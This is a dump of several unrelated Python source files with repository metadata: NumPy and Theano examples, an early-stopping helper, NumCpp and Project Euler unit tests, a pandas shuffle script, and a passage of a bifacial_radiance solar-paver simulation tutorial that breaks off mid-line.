"max_forks_repo_path": "test/core.py", "max_forks_repo_name": "VladislavYak/test_repo", "max_forks_repo_head_hexsha": "7b781ac1a7ed655f0051fb2dd28c47bc3b387558", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 24.75, "max_line_length": 87, "alphanum_fraction": 0.6464646465, "include": true, "reason": "import numpy", "num_tokens": 103, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4493926344647597, "lm_q2_score": 0.11757213972942691, "lm_q1q2_score": 0.052836053612666}}
{"text": "import numpy as np\narr = np.array([1,2,3,4,5,6,7,8])\nprint(\"Enumerating the array :-\")\nfor index,x in np.ndenumerate(arr):\n    print(index,x)", "meta": {"hexsha": "c57d603dce015185896c15388c7e2c88b2f7f360", "size": 141, "ext": "py", "lang": "Python", "max_stars_repo_path": "numpy/enumerate.py", "max_stars_repo_name": "abhayanigam/Learn_Python_Programming", "max_stars_repo_head_hexsha": "801e3fff2b1fe35e4c93f4ced649516c519eb8f9", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-08-28T15:10:26.000Z", "max_stars_repo_stars_event_max_datetime": "2021-08-28T15:10:26.000Z", "max_issues_repo_path": "numpy/enumerate.py", "max_issues_repo_name": "abhayanigam/Learn_Python_Programming", "max_issues_repo_head_hexsha": "801e3fff2b1fe35e4c93f4ced649516c519eb8f9", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "numpy/enumerate.py", "max_forks_repo_name": "abhayanigam/Learn_Python_Programming", "max_forks_repo_head_hexsha": "801e3fff2b1fe35e4c93f4ced649516c519eb8f9", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 28.2, "max_line_length": 35, "alphanum_fraction": 0.6737588652, "include": true, "reason": "import numpy", "num_tokens": 48, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44939263446475963, "lm_q2_score": 0.11757213663746785, "lm_q1q2_score": 0.052836052223162365}}
{"text": "import numpy as np\n\n\nclass EarlyStopping:\n    def __init__(self, patience=5):\n        self.patience = patience\n        self.counter = 0\n        self.best_loss = np.Inf\n\n    def __call__(self, val_loss):\n        \"\"\"\n        if you use other metrics where a higher value is better, e.g. accuracy,\n        call this with its corresponding negative value\n        \"\"\"\n        if val_loss < self.best_loss:\n            early_stop = False\n            get_better = True\n            self.counter = 0\n            self.best_loss = val_loss\n        else:\n            get_better = False\n            self.counter += 1\n            if self.counter >= self.patience:\n                early_stop = True\n            else:\n                early_stop = False\n\n        return early_stop, get_better\n", "meta": {"hexsha": "3c91c400726080702ab665de1e1a3b3ff53be619", "size": 776, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/rechub/utils/early_stop.py", "max_stars_repo_name": "yusanshi/easy-rec", "max_stars_repo_head_hexsha": "86db0bbd1eb0caf94c4b0ec4198bf49e64f65f24", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/rechub/utils/early_stop.py", "max_issues_repo_name": "yusanshi/easy-rec", "max_issues_repo_head_hexsha": "86db0bbd1eb0caf94c4b0ec4198bf49e64f65f24", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/rechub/utils/early_stop.py", "max_forks_repo_name": "yusanshi/easy-rec", "max_forks_repo_head_hexsha": "86db0bbd1eb0caf94c4b0ec4198bf49e64f65f24", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 26.7586206897, "max_line_length": 79, "alphanum_fraction": 0.5489690722, "include": true, "reason": "import numpy", "num_tokens": 170, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44939263446475963, "lm_q2_score": 0.11757213663746784, "lm_q1q2_score": 0.05283605222316236}}
{"text": "import numpy as np\nfrom termcolor import colored\nimport os\nimport sys\nif sys.platform == 'linux':\n    sys.path.append(r'../lib')\nelse:\n    sys.path.append(os.path.abspath('../build/x64/Release'))\nimport NumCpp\n\n####################################################################################\ndef doTest():\n    print(colored('Testing Utils', 'magenta'))\n    print(colored('Testing num2str', 'cyan'))\n    value = np.random.randint(1, 100, [1, ], dtype=np.int8).item()\n    if NumCpp.num2str(value) == str(value):\n        print(colored('\\tPASS int8', 'green'))\n    else:\n        print(colored('\\tFAIL int8', 'red'))\n\n    value = np.random.randint(1, 100, [1, ], dtype=np.int16).item()\n    if NumCpp.num2str(value) == str(value):\n        print(colored('\\tPASS int16', 'green'))\n    else:\n        print(colored('\\tFAIL int16', 'red'))\n\n    value = np.random.randint(1, 100, [1, ], dtype=np.int32).item()\n    if NumCpp.num2str(value) == str(value):\n        print(colored('\\tPASS int32', 'green'))\n    else:\n        print(colored('\\tFAIL int32', 'red'))\n\n    value = np.random.randint(1, 100, [1, ], dtype=np.int64).item()\n    if NumCpp.num2str(value) == str(value):\n        print(colored('\\tPASS int64', 'green'))\n    else:\n        print(colored('\\tFAIL int64', 'red'))\n\n    value = np.random.randint(1, 100, [1, ], dtype=np.uint8).item()\n    if NumCpp.num2str(value) == str(value):\n        print(colored('\\tPASS uint8', 'green'))\n    else:\n        print(colored('\\tFAIL uint8', 'red'))\n\n    value = np.random.randint(1, 100, [1, ], dtype=np.uint16).item()\n    if NumCpp.num2str(value) == str(value):\n        print(colored('\\tPASS uint16', 'green'))\n    else:\n        print(colored('\\tFAIL uint16', 'red'))\n\n    value = np.random.randint(1, 100, [1, ], dtype=np.uint32).item()\n    if NumCpp.num2str(value) == str(value):\n        print(colored('\\tPASS uint32', 'green'))\n    else:\n        print(colored('\\tFAIL uint32', 'red'))\n\n    value = np.random.randint(1, 100, [1, ], dtype=np.uint64).item()\n    if NumCpp.num2str(value) == str(value):\n        print(colored('\\tPASS uint64', 'green'))\n    else:\n        print(colored('\\tFAIL uint64', 'red'))\n\n    print(colored('Testing sqr', 'cyan'))\n    value = np.random.randint(1, 12, [1, ], dtype=np.int8).item()\n    if NumCpp.sqr(value) == value ** 2:\n        print(colored('\\tPASS int8', 'green'))\n    else:\n        print(colored('\\tFAIL int8', 'red'))\n\n    value = np.random.randint(1, 100, [1, ], dtype=np.int16).item()\n    if NumCpp.sqr(value) == value ** 2:\n        print(colored('\\tPASS int16', 'green'))\n    else:\n        print(colored('\\tFAIL int16', 'red'))\n\n    value = np.random.randint(1, 100, [1, ], dtype=np.int32).item()\n    if NumCpp.sqr(value) == value ** 2:\n        print(colored('\\tPASS int32', 'green'))\n    else:\n        print(colored('\\tFAIL int32', 'red'))\n\n    value = np.random.randint(1, 100, [1, ], dtype=np.int64).item()\n    if NumCpp.sqr(value) == value ** 2:\n        print(colored('\\tPASS int64', 'green'))\n    else:\n        print(colored('\\tFAIL int64', 'red'))\n\n    value = np.random.randint(1, 15, [1, ], dtype=np.uint8).item()\n    if NumCpp.sqr(value) == value ** 2:\n        print(colored('\\tPASS uint8', 'green'))\n    else:\n        print(colored('\\tFAIL uint8', 'red'))\n\n    value = np.random.randint(1, 100, [1, ], dtype=np.uint16).item()\n    if NumCpp.sqr(value) == value ** 2:\n        print(colored('\\tPASS uint16', 'green'))\n    else:\n        print(colored('\\tFAIL uint16', 'red'))\n\n    value = np.random.randint(1, 100, [1, ], dtype=np.uint32).item()\n    if NumCpp.sqr(value) == value ** 2:\n        print(colored('\\tPASS uint32', 'green'))\n    else:\n        print(colored('\\tFAIL uint32', 'red'))\n\n    value = np.random.randint(1, 100, [1, ], dtype=np.uint64).item()\n    if NumCpp.sqr(value) == value ** 2:\n        print(colored('\\tPASS uint64', 'green'))\n    else:\n        print(colored('\\tFAIL uint64', 'red'))\n\n    value = np.random.randint(1, 100, [1, ]).astype(np.double).item()\n    if NumCpp.sqr(value) == value ** 2:\n        print(colored('\\tPASS double', 'green'))\n    else:\n        print(colored('\\tFAIL double', 'red'))\n\n    value = np.random.randint(1, 100, [1, ]).astype(np.float32).item()\n    if NumCpp.sqr(value) == value ** 2:\n        print(colored('\\tPASS float', 'green'))\n    else:\n        print(colored('\\tFAIL float', 'red'))\n\n    print(colored('Testing cube', 'cyan'))\n    value = np.random.randint(1, 6, [1, ], dtype=np.int8).item()\n    if NumCpp.cube(value) == value ** 3:\n        print(colored('\\tPASS int8', 'green'))\n    else:\n        print(colored('\\tFAIL int8', 'red'))\n\n    value = np.random.randint(1, 32, [1, ], dtype=np.int16).item()\n    if NumCpp.cube(value) == value ** 3:\n        print(colored('\\tPASS int16', 'green'))\n    else:\n        print(colored('\\tFAIL int16', 'red'))\n\n    value = np.random.randint(1, 100, [1, ], dtype=np.int32).item()\n    if NumCpp.cube(value) == value ** 3:\n        print(colored('\\tPASS int32', 'green'))\n    else:\n        print(colored('\\tFAIL int32', 'red'))\n\n    value = np.random.randint(1, 100, [1, ], dtype=np.int64).item()\n    if NumCpp.cube(value) == value ** 3:\n        print(colored('\\tPASS int64', 'green'))\n    else:\n        print(colored('\\tFAIL int64', 'red'))\n\n    value = np.random.randint(1, 7, [1, ], dtype=np.uint8).item()\n    if NumCpp.cube(value) == value ** 3:\n        print(colored('\\tPASS uint8', 'green'))\n    else:\n        print(colored('\\tFAIL uint8', 'red'))\n\n    value = np.random.randint(1, 41, [1, ], dtype=np.uint16).item()\n    if NumCpp.cube(value) == value ** 3:\n        print(colored('\\tPASS uint16', 'green'))\n    else:\n        print(colored('\\tFAIL uint16', 'red'))\n\n    value = np.random.randint(1, 100, [1, ], dtype=np.uint32).item()\n    if NumCpp.cube(value) == value ** 3:\n        print(colored('\\tPASS uint32', 'green'))\n    else:\n        print(colored('\\tFAIL uint32', 'red'))\n\n    value = np.random.randint(1, 100, [1, ], dtype=np.uint64).item()\n    if NumCpp.cube(value) == value ** 3:\n        print(colored('\\tPASS uint64', 'green'))\n    else:\n        print(colored('\\tFAIL uint64', 'red'))\n\n    value = np.random.randint(1, 100, [1, ]).astype(np.double).item()\n    if NumCpp.cube(value) == value ** 3:\n        print(colored('\\tPASS double', 'green'))\n    else:\n        print(colored('\\tFAIL double', 'red'))\n\n    value = np.random.randint(1, 100, [1, ]).astype(np.float32).item()\n    if NumCpp.cube(value) == value ** 3:\n        print(colored('\\tPASS float', 'green'))\n    else:\n        print(colored('\\tFAIL float', 'red'))\n\n    print(colored('Testing power', 'cyan'))\n    value = np.random.randint(1, 4, [1, ], dtype=np.int8).item()\n    power = np.random.randint(1, 4, dtype=np.uint8).item()\n    if NumCpp.power(value, power) == value ** power:\n        print(colored('\\tPASS int8', 'green'))\n    else:\n        print(colored('\\tFAIL int8', 'red'))\n\n    value = np.random.randint(1, 10, [1, ], dtype=np.int16).item()\n    if NumCpp.power(value, power) == value ** power:\n        print(colored('\\tPASS int16', 'green'))\n    else:\n        print(colored('\\tFAIL int16', 'red'))\n\n    value = np.random.randint(1, 10, [1, ], dtype=np.int32).item()\n    if NumCpp.power(value, power) == value ** power:\n        print(colored('\\tPASS int32', 'green'))\n    else:\n        print(colored('\\tFAIL int32', 'red'))\n\n    value = np.random.randint(1, 10, [1, ], dtype=np.int64).item()\n    if NumCpp.power(value, power) == value ** power:\n        print(colored('\\tPASS int64', 'green'))\n    else:\n        print(colored('\\tFAIL int64', 'red'))\n\n    value = np.random.randint(1, 4, [1, ], dtype=np.uint8).item()\n    if NumCpp.power(value, power) == value ** power:\n        print(colored('\\tPASS uint8', 'green'))\n    else:\n        print(colored('\\tFAIL uint8', 'red'))\n\n    value = np.random.randint(1, 10, [1, ], dtype=np.uint16).item()\n    if NumCpp.power(value, power) == value ** power:\n        print(colored('\\tPASS uint16', 'green'))\n    else:\n        print(colored('\\tFAIL uint16', 'red'))\n\n    value = np.random.randint(1, 10, [1, ], dtype=np.uint32).item()\n    if NumCpp.power(value, power) == value ** power:\n        print(colored('\\tPASS uint32', 'green'))\n    else:\n        print(colored('\\tFAIL uint32', 'red'))\n\n    value = np.random.randint(1, 10, [1, ], dtype=np.uint64).item()\n    if NumCpp.power(value, power) == value ** power:\n        print(colored('\\tPASS uint64', 'green'))\n    else:\n        print(colored('\\tFAIL uint64', 'red'))\n\n    value = np.random.randint(1, 10, [1, ]).astype(np.double).item()\n    if NumCpp.power(value, power) == value ** power:\n        print(colored('\\tPASS double', 'green'))\n    else:\n        print(colored('\\tFAIL double', 'red'))\n\n    value = np.random.randint(1, 10, [1, ]).astype(np.float32).item()\n    if NumCpp.power(value, power) == value ** power:\n        print(colored('\\tPASS float', 'green'))\n    else:\n        print(colored('\\tFAIL float', 'red'))\n\n    print(colored('Testing powerf', 'cyan'))\n    value = np.random.randint(1, 4, [1, ], dtype=np.int8).item()\n    power = np.random.rand(1).item() * 10\n    if NumCpp.powerf(value, power) == value ** power:\n        print(colored('\\tPASS int8', 'green'))\n    else:\n        print(colored('\\tFAIL int8', 'red'))\n\n    value = np.random.randint(1, 10, [1, ], dtype=np.int16).item()\n    if NumCpp.powerf(value, power) == value ** power:\n        print(colored('\\tPASS int16', 'green'))\n    else:\n        print(colored('\\tFAIL int16', 'red'))\n\n    value = np.random.randint(1, 10, [1, ], dtype=np.int32).item()\n    if NumCpp.powerf(value, power) == value ** power:\n        print(colored('\\tPASS int32', 'green'))\n    else:\n        print(colored('\\tFAIL int32', 'red'))\n\n    value = np.random.randint(1, 10, [1, ], dtype=np.int64).item()\n    if NumCpp.powerf(value, power) == value ** power:\n        print(colored('\\tPASS int64', 'green'))\n    else:\n        print(colored('\\tFAIL int64', 'red'))\n\n    value = np.random.randint(1, 4, [1, ], dtype=np.uint8).item()\n    if NumCpp.powerf(value, power) == value ** power:\n        print(colored('\\tPASS uint8', 'green'))\n    else:\n        print(colored('\\tFAIL uint8', 'red'))\n\n    value = np.random.randint(1, 10, [1, ], dtype=np.uint16).item()\n    if NumCpp.powerf(value, power) == value ** power:\n        print(colored('\\tPASS uint16', 'green'))\n    else:\n        print(colored('\\tFAIL uint16', 'red'))\n\n    value = np.random.randint(1, 10, [1, ], dtype=np.uint32).item()\n    if NumCpp.powerf(value, power) == value ** power:\n        print(colored('\\tPASS uint32', 'green'))\n    else:\n        print(colored('\\tFAIL uint32', 'red'))\n\n    value = np.random.randint(1, 10, [1, ], dtype=np.uint64).item()\n    if NumCpp.powerf(value, power) == value ** power:\n        print(colored('\\tPASS uint64', 'green'))\n    else:\n        print(colored('\\tFAIL uint64', 'red'))\n\n    value = np.random.randint(1, 10, [1, ]).astype(np.double).item()\n    if NumCpp.powerf(value, power) == value ** power:\n        print(colored('\\tPASS double', 'green'))\n    else:\n        print(colored('\\tFAIL double', 'red'))\n\n    value = np.random.randint(1, 10, [1, ]).astype(np.float32).item()\n    if NumCpp.powerf(value, power) == value ** power:\n        print(colored('\\tPASS float', 'green'))\n    else:\n        print(colored('\\tFAIL float', 'red'))\n\n####################################################################################\nif __name__ == '__main__':\n    doTest()\n", "meta": {"hexsha": "0b692383c487987f824228e7095fc3900634168a", "size": 11365, "ext": "py", "lang": "Python", "max_stars_repo_path": "unitTests/testScripts/TestUtils.py", "max_stars_repo_name": "kontramind/NumCpp", "max_stars_repo_head_hexsha": "eba08fc5b97b338bc1ca9d1f9e2d3d76c2431cd1", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "unitTests/testScripts/TestUtils.py", "max_issues_repo_name": "kontramind/NumCpp", "max_issues_repo_head_hexsha": "eba08fc5b97b338bc1ca9d1f9e2d3d76c2431cd1", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "unitTests/testScripts/TestUtils.py", "max_forks_repo_name": "kontramind/NumCpp", "max_forks_repo_head_hexsha": "eba08fc5b97b338bc1ca9d1f9e2d3d76c2431cd1", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.4262820513, "max_line_length": 84, "alphanum_fraction": 0.5668279806, "include": true, "reason": "import numpy", "num_tokens": 3327, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4493926344647597, "lm_q2_score": 0.11757212736159103, "lm_q1q2_score": 0.05283604805465165}}
{"text": "import theano\nimport numpy as np\n\n\n# You can get the values being used to configure Theano like so:\nprint(theano.config.device)\nprint(theano.config.floatX)\n\n\n# You can also get/set them at runtime:\nold_floatX = theano.config.floatX\ntheano.config.floatX = 'float32'\n\n# Be careful that you're actually using floatX!\n# For example, the following will cause var to be a float64 regardless of floatX due to numpy defaults:\nvar = theano.shared(np.array([1.3, 2.4]))\nprint(var.type()) #!!!\n# So, whenever you use a numpy array, make sure to set its dtype to theano.config.floatX\nvar = theano.shared(np.array([1.3, 2.4], dtype=theano.config.floatX))\nprint(var.type())\n# Revert to old value\ntheano.config.floatX = old_floatX\n", "meta": {"hexsha": "c41703ec522a60e0f87172609fbd1b283d423904", "size": 716, "ext": "py", "lang": "Python", "max_stars_repo_path": "theano/gpu.py", "max_stars_repo_name": "alexey-ernest/nn", "max_stars_repo_head_hexsha": "c7a76205c80d72c45a0b747d53f4c6ac456ab4f6", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "theano/gpu.py", "max_issues_repo_name": "alexey-ernest/nn", "max_issues_repo_head_hexsha": "c7a76205c80d72c45a0b747d53f4c6ac456ab4f6", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "theano/gpu.py", "max_forks_repo_name": "alexey-ernest/nn", "max_forks_repo_head_hexsha": "c7a76205c80d72c45a0b747d53f4c6ac456ab4f6", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.1304347826, "max_line_length": 103, "alphanum_fraction": 0.7472067039, "include": true, "reason": "import numpy,import theano", "num_tokens": 188, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44939261971625233, "lm_q2_score": 0.1175721304535499, "lm_q1q2_score": 0.05283604771014176}}
{"text": "\"\"\" Tests whether the results of the problems are correct. That way, we can safely change\nshared functions without breaking past solutions.\n\nRecommended usage: run `pytest -v` while inside the repository. Because it may take up to a minute\nper solved problem, use sparingly.\n\nWARNING: don't read this file if you don't want to see the solutions to the problems. There\nis no joy in that, am I right? ;)\n\"\"\"\n\nimport os\nimport time\nfrom datetime import timedelta\nimport importlib\nimport pytest\n\nfrom jax.config import config\nconfig.update(\"jax_enable_x64\", True)   # Critical to test 64-bit dependent problems (e.g. prob. 3)\n\n\nSOLUTIONS_DIR = os.path.join(\n    os.path.dirname(os.path.abspath(__file__)),\n    '..',\n    'gante_project_euler',\n    'solutions'\n)\nSOLUTIONS = {\n    1: 233168,\n    2: 4613732,\n    3: 6857,\n    4: 906609,\n    5: 232792560,\n    6: 25164150,\n    7: 104743,\n    9: 31875000,\n    10: 142913828922,\n    12: 76576500,\n}\n\n\ndef test_coverage():\n    \"\"\" Tests whether all problems have a solution here. At most 1 problem may be missing its\n    solution (the problem that is being worked on at the moment).\n    \"\"\"\n    num_solutions = len(SOLUTIONS)\n    num_problems = len(\n        [f for f in os.listdir(SOLUTIONS_DIR) if os.path.isfile(os.path.join(SOLUTIONS_DIR, f))]\n    )\n    assert num_problems - num_solutions <= 1, \\\n        \"Missing solutions! ({} problems, {} solutions)\".format(num_problems, num_solutions)\n\n\n@pytest.mark.parametrize(\"problem_idx\", list(SOLUTIONS.keys()))\ndef test_results(problem_idx):\n    \"\"\" Tests whether the solutions of the problems are correct and that they run within a minute.\n    \"\"\"\n    os.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\n    if problem_idx < 10:\n        module_termination = \"00\" + str(problem_idx)\n    elif problem_idx < 100:\n        module_termination = \"0\" + str(problem_idx)\n    else:\n        module_termination = str(problem_idx)\n    module_name = \"gante_project_euler.solutions.problem_\" + module_termination\n    module = importlib.import_module(module_name)\n    start = time.time()\n    result = module.get_solution()\n    end = time.time()\n    assert result == SOLUTIONS[problem_idx], \\\n        \"The result ({}) did not match the solution ({})!\".format(result, SOLUTIONS[problem_idx])\n    duration = timedelta(seconds=end-start)\n    assert duration < timedelta(minutes=1), \\\n        \"It took more than a minute to run! (duration = {})\".format(duration)\n", "meta": {"hexsha": "80f0c543974b6191b6f899d957f4e5c99b6fa455", "size": 2420, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/test_results.py", "max_stars_repo_name": "gante/project_euler", "max_stars_repo_head_hexsha": "9b5e780259e28d4f4d66cb4c954623f81aeaa5af", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2020-09-17T23:29:42.000Z", "max_stars_repo_stars_event_max_datetime": "2021-05-18T00:07:56.000Z", "max_issues_repo_path": "tests/test_results.py", "max_issues_repo_name": "gante/project_euler", "max_issues_repo_head_hexsha": "9b5e780259e28d4f4d66cb4c954623f81aeaa5af", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/test_results.py", "max_forks_repo_name": "gante/project_euler", "max_forks_repo_head_hexsha": "9b5e780259e28d4f4d66cb4c954623f81aeaa5af", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 32.7027027027, "max_line_length": 99, "alphanum_fraction": 0.6892561983, "include": true, "reason": "from jax", "num_tokens": 623, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.44939263446475963, "lm_q2_score": 0.11757212117767352, "lm_q1q2_score": 0.05283604527564466}}
{"text": "import pandas as pd\r\nimport numpy as np\r\nimport csv\r\nfrom sklearn.utils import shuffle\r\n\r\ndef main():\r\n    arr = np.arange(0, 100)\r\n    df = pd.DataFrame(arr, columns=[\"berat\"])\r\n    df.to_csv(\"./deneme.csv\", index=False, encoding=\"utf-8\")\r\n\r\n    df = pd.read_csv(\"./deneme.csv\")\r\n\r\n    df = shuffle(df)\r\n    df.to_csv(\"./shuffle_deneme.csv\", index=False, encoding=\"utf-8\")\r\n\r\nmain()", "meta": {"hexsha": "a1df9869dfaaf4818868fc25af10e5af221ce19a", "size": 383, "ext": "py", "lang": "Python", "max_stars_repo_path": "shuffle_test.py", "max_stars_repo_name": "beratuna/flight-delay-prediction", "max_stars_repo_head_hexsha": "9414aa2e907657937219399809d9fbb13397461b", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "shuffle_test.py", "max_issues_repo_name": "beratuna/flight-delay-prediction", "max_issues_repo_head_hexsha": "9414aa2e907657937219399809d9fbb13397461b", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "shuffle_test.py", "max_forks_repo_name": "beratuna/flight-delay-prediction", "max_forks_repo_head_hexsha": "9414aa2e907657937219399809d9fbb13397461b", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 23.9375, "max_line_length": 69, "alphanum_fraction": 0.6292428198, "include": true, "reason": "import numpy", "num_tokens": 101, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.48828339529583464, "lm_q2_score": 0.10818895312434518, "lm_q1q2_score": 0.052826869365057164}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # 14 - Advanced topics - Cement Pavers albedo example\n# \n# This journal creates a paver underneath the single-axis trackers, and evaluates the improvement for one day -- June 17th with and without the pavers for a location in Davis, CA.\n# \n# ![Paver](../images_wiki/AdvancedJournals/Pavers.PNG)\n# \n# Measurements:\n# ![Paver](../images_wiki/AdvancedJournals/Pavers_Geometry.PNG)\n\n# In[1]:\n\n\nimport os\nfrom pathlib import Path\nimport pandas as pd\n\ntestfolder = str(Path().resolve().parent.parent / 'bifacial_radiance' / 'TEMP' / 'Tutorial_14')\nif not os.path.exists(testfolder):\n    os.makedirs(testfolder)\n    \nprint (\"Your simulation will be stored in %s\" % testfolder)\n\n\n# In[2]:\n\n\nfrom bifacial_radiance import *   \nimport numpy as np\n\n\n# In[3]:\n\n\nsimulationname = 'tutorial_14'\n\n#Location:\nlat = 38.5449 # Davis, CA\nlon = -121.7405 # Davis, CA\n# MakeModule Parameters\nmoduletype='test-module'\nnumpanels = 1  # AgriPV site has 3 modules along the y direction (N-S since we are facing it to the south) .\nx = 0.95  \ny = 1.838\nxgap = 0.02# Leaving 2 centimeters between modules on x direction\nygap = 0.0 # 1 - up \nzgap = 0.06 # gap between modules and torquetube.\n\n# Other default values:\n\n# TorqueTube Parameters\naxisofrotationTorqueTube=True\ntorqueTube = False\ncellLevelModule = True\n\nnumcellsx = 6\nnumcellsy = 10\nxcell = 0.156\nycell = 0.158\nxcellgap = 0.015\nycellgap = 0.015\n\nsensorsy = numcellsy   # one sensor per cell\n\ncellLevelModuleParams = {'numcellsx': numcellsx, 'numcellsy':numcellsy, \n                         'xcell': xcell, 'ycell': ycell, 'xcellgap': xcellgap, 'ycellgap': ycellgap}\n\n# SceneDict Parameters\ngcr = 0.33 # m\nalbedo = 0.2  #'grass'     # ground albedo\nhub_height = 1.237 # m  \nnMods = 20 # six modules per row.\nnRows = 3  # 3 row\n\nazimuth_ang = 90 # Facing east \n\n\ndemo = RadianceObj(simulationname,path = testfolder)  # Create a RadianceObj 'object'\ndemo.setGround(albedo) #\nepwfile = demo.getEPW(lat, lon) \nmetdata = demo.readWeatherFile(epwfile, coerce_year=2021) # read in the EPW weather data from above\nmymodule=demo.makeModule(name=moduletype,x=x,y=y,numpanels = numpanels, xgap=xgap, ygap=ygap)\nmymodule.addCellModule(numcellsx=numcellsx, numcellsy=numcellsy,\n                       xcell=xcell, ycell=ycell, xcellgap=xcellgap, ycellgap=ycellgap)\n\n\n# In[4]:\n\n\ndescription = 'Sherman Williams \"Chantilly White\" acrylic paint'\nmaterialpav = 'sw_chantillywhite'\nRrefl = 0.5\nGrefl = 0.5 \nBrefl = 0.5\ndemo.addMaterial(material=materialpav, Rrefl=Rrefl, Grefl=Grefl, Brefl=Brefl, comment=description)\n\n\n# ### Simulation without Pavers\n\n# In[5]:\n\n\ntimeindex = metdata.datetime.index(pd.to_datetime('2021-06-17 12:0:0 -8'))  # Davis, CA is TZ -8\ndemo.gendaylit(timeindex)  \n    \ntilt = demo.getSingleTimestampTrackerAngle(metdata, timeindex=timeindex, gcr=gcr, \n                                   azimuth=180, axis_tilt=0, \n                                   limit_angle=60, backtrack=True)\n# create a scene with all the variables\nsceneDict = {'tilt':tilt,'gcr': gcr,'hub_height':hub_height,'azimuth':azimuth_ang, 'module_type':moduletype, 'nMods': nMods, 'nRows': nRows}  \nscene = demo.makeScene(module=mymodule, sceneDict=sceneDict) #makeScene creates a .rad file with 20 modules per row, 7 rows.\noctfile = demo.makeOct(demo.getfilelist())  # makeOct combines all of the ground, sky and object fil|es into a .oct file.\n\n\n# In[6]:\n\n\nanalysis = AnalysisObj(octfile, demo.name)  # return an analysis object including the scan dimensions for back irradiance\nfrontscan, backscan = analysis.moduleAnalysis(scene, sensorsy=sensorsy)\nanalysis.analysis(octfile, simulationname+\"_noPavers\", frontscan, backscan)  # compare the back vs front irradiance  \nprint(\"Simulation without Pavers Finished\")\n\n\n# ## Looping on the day\n\n# In[7]:\n\n\nj=0\nstarttimeindex = metdata.datetime.index(pd.to_datetime('2021-06-17 7:0:0 -8'))\nendtimeindex = metdata.datetime.index(pd.to_datetime('2021-06-17 19:0:0 -8'))\nfor timess in range (starttimeindex, endtimeindex):\n    j+=1\n    demo.gendaylit(timess)\n    tilt = demo.getSingleTimestampTrackerAngle(metdata, timeindex=timess, gcr=gcr, \n                                       azimuth=180, axis_tilt=0, \n                                       limit_angle=60, backtrack=True)\n    # create a scene with all the variables\n    sceneDict = {'tilt':tilt,'gcr': gcr,'hub_height':hub_height,'azimuth':azimuth_ang, 'module_type':moduletype, 'nMods': nMods, 'nRows': nRows}  \n    scene = demo.makeScene(module=mymodule, sceneDict=sceneDict) #makeScene creates a .rad file with 20 modules per row, 7 rows.\n    octfile = demo.makeOct(demo.getfilelist())  # makeOct combines all of the ground, sky and object fil|es into a .oct file\n    frontscan, backscan = analysis.moduleAnalysis(scene, sensorsy=sensorsy)\n    analysis.analysis(octfile, simulationname+\"_noPavers_\"+str(j), frontscan, backscan)  # compare the back vs front irradiance  \n    \n\n\n# ### Simulation With Pavers\n\n# In[8]:\n\n\ndemo.gendaylit(timeindex)\ntilt = 